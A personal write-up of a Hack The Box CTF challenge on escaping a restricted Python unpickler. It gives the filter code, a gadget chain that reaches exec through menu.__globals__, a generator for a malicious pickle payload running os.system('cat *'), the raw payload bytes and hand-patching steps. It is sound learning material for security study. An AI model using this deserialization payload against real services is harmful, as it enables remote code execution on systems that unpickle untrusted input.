HTB Cyber Apocalypse 2024 — Were Pickle Phreaks Revenge

Bank Eakasit
2 min readMar 14, 2024

--

I really enjoy this one and I didn’t see any writeup apart from an official one yet so decided to publish mine. I can see there are so many open areas for this problem so I would love to see other alternative solutions.

The challenge: https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/misc/%5BMedium%5D%20Were%20Pickle%20Phreaks%20Revenge

The problem: Pickle only allows importing from app or __main__ module and not allow to import __builtins__ and random from anywhere. (Only at import, using string __builtins__ somewhere else is still fine)

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']

class RestrictedUnpickler(_pickle.Unpickler):
def find_class(self, module, name):
print(module, name)
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
return super().find_class(module, name)
raise _pickle.UnpicklingError()

Here is my idea:

In Python pickle, function call and import (in form of from x import y) are basis operations. We should stick to basis operations so that the pickle will not generate long chain which will likely stuck at the filter. I try my best to avoid something like this a.b[c].d[e].f(x,y)

If you’re wondering the basis operations of pickle, you may take a look here: https://github.com/python/cpython/blob/main/Lib/pickle.py

After an hour of exploration, I come up with this chain.

builtins = app.menu.__globals__.__class__.get(app.menu.__globals__, "__builtins__")
exec = app.menu.__globals__.__class__.get(builtins, "exec")
exec("import os\nos.system('cat *')")

The chain can be described like this:

from app import menu.__globals__.__class__.get
from app import menu.__globals__
builtins = get(__global__, "__builtins__")
exec = get(builtins, "exec")
exec("import os\nos.system('cat *')")

So my payload setting: (Notice I did not put __class__ in my payload generator, somehow it’s Python sensitive word and I cannot use it in my mock up, I manually patched my payload later)

# Mockup app.py
class menu():
class __globals__():
@staticmethod
def get(s):
pass
import pickle, app

class RCE1:
def __reduce__(self):
return app.menu.__globals__.get, (app.menu.__globals__, "__builtins__",)

class RCE2:
def __reduce__(self):
r = RCE1()
return app.menu.__globals__.get, (r, "exec",)

def __call__(self):
pass

class RCE3:
def __reduce__(self):
r2 = RCE2()
return r2, ("import os\nos.system('cat *')",)

p = pickle.dumps(RCE3(), protocol=4)
import pickletools
p2 = pickletools.optimize(p) # Remove junk op to shorten the payload
pickletools.dis(p2)

I got something like this

b"\x80\x04\x95n\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x14menu.__globals__.get\x93\x94h\x01h\x00\x8c\x10menu.__globals__\x93\x8c\x0c__builtins__\x86R\x8c\x04exec\x86R\x8c\x1cimport os\nos.system('cat *')\x85R."

Manually edit __globals__.get -> __globals__.__class__.get
Increase the string length \x14 to \x1e
And increase overall frame len by 10. n to \x78
Base64 then exploit.

--

--